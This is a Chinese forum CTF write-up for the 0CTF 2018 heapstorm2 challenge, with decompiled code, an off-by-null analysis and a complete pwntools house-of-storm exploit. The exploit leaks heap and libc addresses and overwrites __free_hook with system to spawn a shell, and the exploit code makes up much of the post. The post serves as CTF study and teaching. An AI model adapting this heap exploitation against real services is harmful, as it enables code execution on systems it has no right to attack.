R00tkit 发表于 2023-9-23 15:44

0CTF 2018 : heapstorm2

本帖最后由 R00tkit 于 2023-9-23 18:18 编辑


# 前言
这里太过于细节的知识点请看
https://bbs.kanxue.com/thread-278871.htm
或者
https://jelasin.github.io
# 检查文件信息


ELF64小端序程序。
保护全开。

改 glibc 为 2.23。
# 试运行

# 逆向分析
```cpp
/* main 函数 */

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v4; //

v4 = Init();
while ( 1 )
{
    menu();
    switch ( get_num() )
    {
      case 1LL:
      Allocate(v4);
      break;
      case 2LL:
      Update(v4);
      break;
      case 3LL:
      Delete(v4);
      break;
      case 4LL:
      View(v4);
      break;
      case 5LL:
      return 0LL;
      default:
      continue;
    }
}
}
/* menu 函数 */
int menu()
{
puts("1. Allocate");
puts("2. Update");
puts("3. Delete");
puts("4. View");
puts("5. Exit");
return printf("Command: ");
}
```
```cpp
/* Init 函数 */
__int64 Init()
{
int i; //
int fd; //

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
alarm(0x3Cu);
puts(
    "    __ __ _____________   __   __    ___    ____\n"
    "   / //_// ____/ ____/ | / // /   /   |/ __ )\n"
    "/ ,</ __/ / __/ /|/ // /   / /| | / __|\n"
    " / /| |/ /___/ /___/ /|// /___/ ___ |/ /_/ /\n"
    "/_/ |_/_____/_____/_/ |_//_____/_/|_/_____/\n");
puts("===== HEAP STORM II =====");
if ( !mallopt(1, 0) )                         // 关闭fastbin分配
    exit(-1);
if ( mmap((void *)0x13370000, 0x1000uLL, 3, 34, -1, 0LL) != (void *)0x13370000 ) // 在0x13370000处 mmap出了一片空间作为heaparray
    exit(-1);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
    exit(-1);
if ( read(fd, (void *)0x13370800, 0x18uLL) != 0x18 )// 读入 3 个 0x8 大小的随机数, r1, r2, r3。
    exit(-1);
close(fd);
MEMORY = MEMORY; // r4 = r3
for ( i = 0; i <= 15; ++i )
{
    *(_QWORD *)(0x10 * (i + 2LL) + 0x13370800) = flower_1(0x13370800LL, 0LL); // ptr = r1 ^ 0
    *(_QWORD *)(0x10 * (i + 2LL) + 0x13370808) = flower_2(0x13370800LL, 0LL); // size = r2 ^ 0
}
return 0x13370800LL;
}
```
```cpp
/* alloc函数 */
void __fastcall Allocate(__int64 a1)
{
int i; //
int size; //
void *v3; //

for ( i = 0; i <= 15; ++i ) // 0~15
{
    if ( !flower_2(a1, *(_QWORD *)(0x10 * (i + 2LL) + a1 + 8)) )
    {
      printf("Size: ");
      size = get_num();
      if ( size > 0xC && size <= 0x1000 )
      {
      v3 = calloc(size, 1uLL);
      if ( !v3 )
          exit(-1);
      *(_QWORD *)(0x10 * (i + 2LL) + a1 + 8) = flower_2(a1, size);
      *(_QWORD *)(0x10 * (i + 2LL) + a1) = flower_1(a1, v3);
      printf("Chunk %d Allocated\n", (unsigned int)i);
      }
      else
      {
      puts("Invalid Size");
      }
      return;
    }
}
}
/* 不难推测结构体 */
struct Heap

{
    void* ptr;
    uint size;

};

```
```cpp
/* update */

int __fastcall Update(__int64 a1)
{
signed int idx; //
int size; //
__int64 v4; //

printf("Index: ");
idx = get_num();
if ( (unsigned int)idx > 0xF || !flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8)) )
    return puts("Invalid Index");
printf("Size: ");
size = get_num();
if ( size <= 0 || size > (unsigned __int64)(flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8)) - 12) )// size-0xC
    return puts("Invalid Size");
printf("Content: ");
v4 = flower_1(a1, *(_QWORD *)(16 * (idx + 2LL) + a1));
read_n(v4, size);
strcpy((char *)(size + v4), "HEAPSTORM_II");// off-by-null,读满会把 '\x00' 复制过去。
return printf("Chunk %d Updated\n", (unsigned int)idx);
}

```
```cpp
/* del 函数 */
int __fastcall Delete(__int64 a1)
{
void *v2; // rax
signed int idx; //

printf("Index: ");
idx = get_num();
if ( (unsigned int)idx > 0xF || !flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8)) )
    return puts("Invalid Index");
v2 = (void *)flower_1(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1));
free(v2);
*(_QWORD *)(0x10 * (idx + 2LL) + a1) = flower_1(a1, 0LL);
*(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8) = flower_2(a1, 0LL);
return printf("Chunk %d Deleted\n", (unsigned int)idx);
}

```
```cpp
/* view 函数 */

int __fastcall View(__int64 a1)
{
__int64 v2; // rbx
__int64 v3; // rax
signed int idx; //

if ( (*(_QWORD *)(a1 + 0x18) ^ *(_QWORD *)(a1 + 0x10)) != 0x13377331LL ) // 条件 r3 ^ r2== 0x13377331
    return puts("Permission denied");
printf("Index: ");
idx = get_num();
if ( (unsigned int)idx > 0xF || !flower_2(a1, *(_QWORD *)(16 * (idx + 2LL) + a1 + 8)) )
    return puts("Invalid Index");
printf("Chunk[%d]: ", (unsigned int)idx);
v2 = flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8));
v3 = flower_1(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1));
write_n(v3, v2);
return puts(byte_180A);
}

```
# 漏洞利用
我们知道 heaparray 的地址,可以使用 house_of_storm 实现任意地址申请 chunk,这样我们就能控制r3,r4的值,使得show可以使用。然后正常泄露 heap 和 libc ,正常修改各种 hook 即可。
## 前置脚本
```python
from pwn import *

context.terminal=['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'
context.os='linux'

def connect():
    global r, elf, libc
    r = process('./heapstorm2')
    elf = ELF("./heapstorm2")
    libc = elf.libc

is_debug = True
def debug(gdbscript=""):
    if is_debug:
      gdb.attach(r, gdbscript=gdbscript)
      pause()
    else:
      pass

def add(size):
    r.recvuntil(b"Command: ")
    r.sendline(str(1).encode())
    r.recvuntil(b"Size: ")
    r.sendline(str(size).encode())

def delete(index):
    r.recvuntil(b"Command: ")
    r.sendline(str(3).encode())
    r.recvuntil(b"Index: ")
    r.sendline(str(index).encode())

def show(index):
    r.recvuntil(b"Command: ")
    r.sendline(str(4).encode())
    r.recvuntil(b"Index: ")
    r.sendline(str(index).encode())

def edit(index,content):
    r.recvuntil(b"Command: ")
    r.sendline(str(2).encode())
    r.recvuntil(b"Index: ")
    r.sendline(str(index).encode())
    r.recvuntil(b"Size: ")
    r.sendline(str(len(content)).encode())
    r.recvuntil(b"Content: ")
    r.send(content)

```

## 布置堆结构
```python
def overlapping():
    add(0x18)   # 0
    add(0x508)# 1
    add(0x18)   # 2 prev_size 0x510
    add(0x18)   # 3
    add(0x508)# 4
    add(0x18)   # 5 prev_size 0x510
    add(0x18)   # 6
    #debug() # d1 ----------------------------------

    '''覆盖 idx_7'''
    edit(1, b'a'*0x4f0 + p64(0x500)) # fake_prev_size
    delete(1)
    #debug() # d2 ----------------------------------
    edit(0, b'a'*(0x18-0xC)) # 0xC for str & off-by-null 0x511->0x500
    #debug() # d3 ----------------------------------
    add(0x18)   # 1
    add(0x4d8)# 7
    #debug() # d4 ----------------------------------
    delete(1)
    delete(2)
    #debug() # d5 ----------------------------------

    add(0x38)   # 1
    add(0x4e8)# 2 0x4f0 + 0x40 = 0x530

    '''覆盖 idx_8'''
    edit(4, b'a'*0x4f0 + p64(0x500))
    delete(4)
    edit(3, b'a'*(0x18-0xC)) # 0xC for str & off-by-null 0x511->0x500
    add(0x18)   # 4
    add(0x4d8)# 8
    delete(4)
    delete(5)

    add(0x48)   # 4 0x530 - 0x50 = 0x4e0
    #debug() # d6 ----------------------------------

    delete(2)
    #debug() # d7 ----------------------------------
    add(0x4e8)# 2 把0x4e1的chunk放入到largebin中
    #debug() # d8 ----------------------------------
    delete(2)   # 把0x4F1的chunk放入到unsorted bin中   
    #debug() # d9 ----------------------------------

```
首先布置如下堆结构。
写入 fake_prev_size (0x500) ,然后利用 off-by-null 将 idx_1 的 size 改为 0x500,以便切割时绕过检查。然后申请 0x20 + 0x4e0 的堆块将 0x500 申请出来,此时堆结构如下,此时 idx_2_prev_size = 0x510,释放时会寻找到 idx_1_prev_size 的位置。


......


然后 free(1) ,在 free(2) 后,可以绕过 unlink 检查。然后将 inuse_idx_7 覆盖。再次申请 0x40 + 0x4f0 = 0x530 大小的 chunk ,将 bins 清空。此时 idx_7_fd -> (unsorted_prev_size - 0x10) 。同理,再次制造 idx_8_fd -> (large_chunk_prev_size-0x20)。然后将 0x4e0 大小的 chunk 放进 large bin,将 0x4f0 大小的 chunk 放进 unsorted bin,以便后续攻击。

## leak
```python
def leak():
    global free_hook, storage, system, str_bin_sh
    storage = 0x13370800
    fake_chunk = storage - 0x20
    payload = b'\x00' * 0x10
    payload += p64(0) + p64(0x4f1)
    payload += p64(0) + p64(fake_chunk)
    edit(7, payload)
    #debug() # d10 ----------------------------------

    payload = b'\x00' * 0x20
    payload += p64(0) + p64(0x4e1)
    payload += p64(0) + p64(fake_chunk+0x8)
    payload += p64(0) + p64(fake_chunk-0x18-5)
    edit(8, payload)
    #debug() # d11 ----------------------------------

    add(0x48) # 2 0x133707e0
    #debug() # d12 ----------------------------------

    payload = p64(0)*4 + p64(0) + p64(0x13377331) + p64(storage)
    edit(2, payload)
    #debug()
    payload = p64(0)*2 + p64(0) + p64(0x13377331)
    payload += p64(storage) + p64(0x1000) # chunk0 addr size
    payload += p64(fake_chunk+3) + p64(8) # chunk1 addr size
    edit(0, payload)
    #debug()

    show(1)
    r.recvuntil(b"]: ")
    heap = u64(r.recv(6).ljust(8, b'\x00'))
    success("heap:"+hex(heap))


    payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(heap+0x10) + p64(8)
    edit(0, payload)

    show(1)
    r.recvuntil(b"]: ")
    malloc_hook = u64(r.recv(6).ljust(8, b'\x00')) -0x58 - 0x10
    libc.address = malloc_hook - libc.sym['__malloc_hook']
    free_hook = libc.sym['__free_hook']
    system = libc.sym['system']
    str_bin_sh = next(libc.search(b'/bin/sh\x00'))
    success("malloc_hook:"+hex(malloc_hook))

```
我们可以通过在 0x13370800 附近申请 0x50 大小的堆块篡改 r3 , r4 来达到 show 的条件。那么 fake_chunk_size 就需要为 0x56 大小,因为 0x56 = 0101 0110B, 可以绕过 mmap 检查,只有地址随机化到 0x56 开头是才可利用成功。需要注意的是 unsortedbin_chunk_size > largebin_chunk_size


通过 idx_7 修改 unsorted_chunk_bk = fake_chunk_prev_size。

通过 idx_8 修改 largebin_chunk_bk = fake_chunk+0x8,largebin_chunk_bk_nextsize = fake_chunk+0x18-5(截取0x56,因为64位随机化只会随机到 0x55 和 0x56 ,而只有0x56能绕过mmap检查)。
此时去申请一个用户区 0x48 大小 chunk,会执行如下代码。
```cpp
unsorted_chunks(av)->bk = unsorted_chunk->bk;
bck->fd = unsorted_chunks(av);

```
av 是我们 unsorted 头(unsorted_chunks(av))(我习惯这样叫,但它并不是我们 unsorted bin 的第一个 chunk ,而是类似 unsorted 的管理者,它的 fd 指向第一个堆块,bk 指向最后一个堆块),将其 bk 指向 fake_chunk。bck->fd = fake_chunk_fd,fake_chunk + 0x10 将指向 unsorted 头((unsorted_chunks(av)))伪造了 fake_chunk_fd 指针和 unsorted 头的 bk 指针,将其添加到了 unsorted bin 中。
```cpp
/* unsortedbin_chunks_size > largebin_chunks_size 将执行如下代码 */

else
{
    victim->fd_nextsize = fwd;
    victim->bk_nextsize = fwd->bk_nextsize;
    fwd->bk_nextsize = victim;
    victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

```
然后执行如上代码,unsorted_chunk_bk_nextsize 首先指向 fake_chunk-0x18-5 ,然后 unsorted_chunk->bk_nextsize->fd_nextsize (fake_chunk-0x18-5+0x20) 指向 unsorted_chunk (此时fake_chunk的size被改为0x56)。然后将 bck(fake_chunk+0x8) 的 fd(fake_chunk+0x8+0x10) 指向 unsorted_chunk_prev_size,伪造了 fake_chunk_bk。


申请的用户区 0x48 的堆块将会把 fake_chunk 摘除来,并且 idx=2。然后把 r3(0x13370810) 改为 0,r4(0x13377818) 改为 0x13377331,即可绕过show检查。alloc 的时候,我们申请 0 堆块是从 0x13370820开始的。我们 edit(2) 是将其地址指向了 0x13370800,我们再去 edit(0) ,保留原来的可以调用 show 的结构,将 chunk0 指向 0x13370800 ,将其大小改为 0x1000,然后将 chunk1 指向 fake_chunk+0x3(也就是原来 unsorted bin 的地址,开始我们截取了0x56作为size那个地址) ,将其大小改为 0x8 (size_t)。因为用于异或的 r1, r2, r3都被改为了0。所以不必担心异或处理。此时 show(1) 即可将堆地址(unsortedbin_chunk)泄露出来。

泄露出来的堆地址 unsortedbin_chunk_fd 指向了 libc 地址,同理将其输出即可,然后根据固定偏移计算得到 malloc_hook, free_hook, system, str_bin_sh地址即可。
## getshell
```python
def get_shell():
    payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000)
    payload += p64(free_hook) + p64(0x100) + p64(str_bin_sh) + p64(8)
    edit(0, payload)
    edit(1, p64(system))
    delete(2)
    r.interactive()

```
最后,我们只需要将 free_hook 地址改为 system 地址,然后将 idx2 指向 str_bin_sh 地址,并 free(2) 即可 getshell。

## 完整exp
```python
from pwn import *

context.terminal=['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'
context.os='linux'

def connect():
    global r, elf, libc
    r = process('./heapstorm2')
    elf = ELF("./heapstorm2")
    libc = elf.libc

is_debug = True
def debug(gdbscript=""):
    if is_debug:
      gdb.attach(r, gdbscript=gdbscript)
      pause()
    else:
      pass

def add(size):
    r.recvuntil(b"Command: ")
    r.sendline(str(1).encode())
    r.recvuntil(b"Size: ")
    r.sendline(str(size).encode())

def delete(index):
    r.recvuntil(b"Command: ")
    r.sendline(str(3).encode())
    r.recvuntil(b"Index: ")
    r.sendline(str(index).encode())

def show(index):
    r.recvuntil(b"Command: ")
    r.sendline(str(4).encode())
    r.recvuntil(b"Index: ")
    r.sendline(str(index).encode())

def edit(index,content):
    r.recvuntil(b"Command: ")
    r.sendline(str(2).encode())
    r.recvuntil(b"Index: ")
    r.sendline(str(index).encode())
    r.recvuntil(b"Size: ")
    r.sendline(str(len(content)).encode())
    r.recvuntil(b"Content: ")
    r.send(content)

def overlapping():
    add(0x18)   # 0
    add(0x508)# 1
    add(0x18)   # 2 prev_size 0x510
    add(0x18)   # 3
    add(0x508)# 4
    add(0x18)   # 5 prev_size 0x510
    add(0x18)   # 6
    #debug() # d1 ----------------------------------

    '''覆盖 idx_7'''
    edit(1, b'a'*0x4f0 + p64(0x500)) # fake_prev_size
    delete(1)
    #debug() # d2 ----------------------------------
    edit(0, b'a'*(0x18-0xC)) # 0xC for str & off-by-null 0x511->0x500
    #debug() # d3 ----------------------------------
    add(0x18)   # 1
    add(0x4d8)# 7
    #debug() # d4 ----------------------------------
    delete(1)
    delete(2)
    #debug() # d5 ----------------------------------

    add(0x38)   # 1
    add(0x4e8)# 2 0x4f0 + 0x40 = 0x530

    '''覆盖 idx_8'''
    edit(4, b'a'*0x4f0 + p64(0x500))
    delete(4)
    edit(3, b'a'*(0x18-0xC)) # 0xC for str & off-by-null 0x511->0x500
    add(0x18)   # 4
    add(0x4d8)# 8
    delete(4)
    delete(5)

    add(0x48)   # 4 0x530 - 0x50 = 0x4e0 idx_8
    #debug() # d6 ----------------------------------

    delete(2)
    #debug() # d7 ----------------------------------
    add(0x4e8)# 2
    #debug() # d8 ----------------------------------
    delete(2)
    #debug() # d9 ----------------------------------

def leak():
    global free_hook, storage, system, str_bin_sh
    storage = 0x13370800
    fake_chunk = storage - 0x20
    payload = b'\x00' * 0x10
    payload += p64(0) + p64(0x4f1)
    payload += p64(0) + p64(fake_chunk)
    edit(7, payload)
    #debug() # d10 ----------------------------------

    payload = b'\x00' * 0x20
    payload += p64(0) + p64(0x4e1)
    payload += p64(0) + p64(fake_chunk+0x8)
    payload += p64(0) + p64(fake_chunk-0x18-5)
    edit(8, payload)
    #debug() # d11 ----------------------------------

    add(0x48) # 2 0x133707e0
    #debug() # d12 ----------------------------------

    payload = p64(0)*4 + p64(0) + p64(0x13377331) + p64(storage)
    edit(2, payload)
    #debug()
    payload = p64(0)*2 + p64(0) + p64(0x13377331)
    payload += p64(storage) + p64(0x1000)
    payload += p64(fake_chunk+3) + p64(8)
    edit(0, payload)
    #debug()

    show(1)
    r.recvuntil(b"]: ")
    heap = u64(r.recv(6).ljust(8, b'\x00'))
    success("heap:"+hex(heap))

    payload = p64(0)*2 + p64(0) + p64(0x13377331)
    payload += p64(storage) + p64(0x1000)
    payload += p64(heap+0x10) + p64(8)
    edit(0, payload)
    #debug()

    show(1)
    r.recvuntil(b"]: ")
    malloc_hook = u64(r.recv(6).ljust(8, b'\x00')) -0x58 - 0x10
    libc.address = malloc_hook - libc.sym['__malloc_hook']
    free_hook = libc.sym['__free_hook']
    system = libc.sym['system']
    str_bin_sh = next(libc.search(b'/bin/sh\x00'))
    success("malloc_hook:"+hex(malloc_hook))

def get_shell():
    payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000)
    payload += p64(free_hook) + p64(0x100) + p64(str_bin_sh) + p64(8)
    edit(0, payload)
    edit(1, p64(system))
    delete(2)
    r.interactive()

def pwn():
    connect()
    overlapping()
    leak()
    get_shell()

if __name__ == "__main__":
    pwn()

```

页: [1]
查看完整版本: 0CTF 2018 : heapstorm2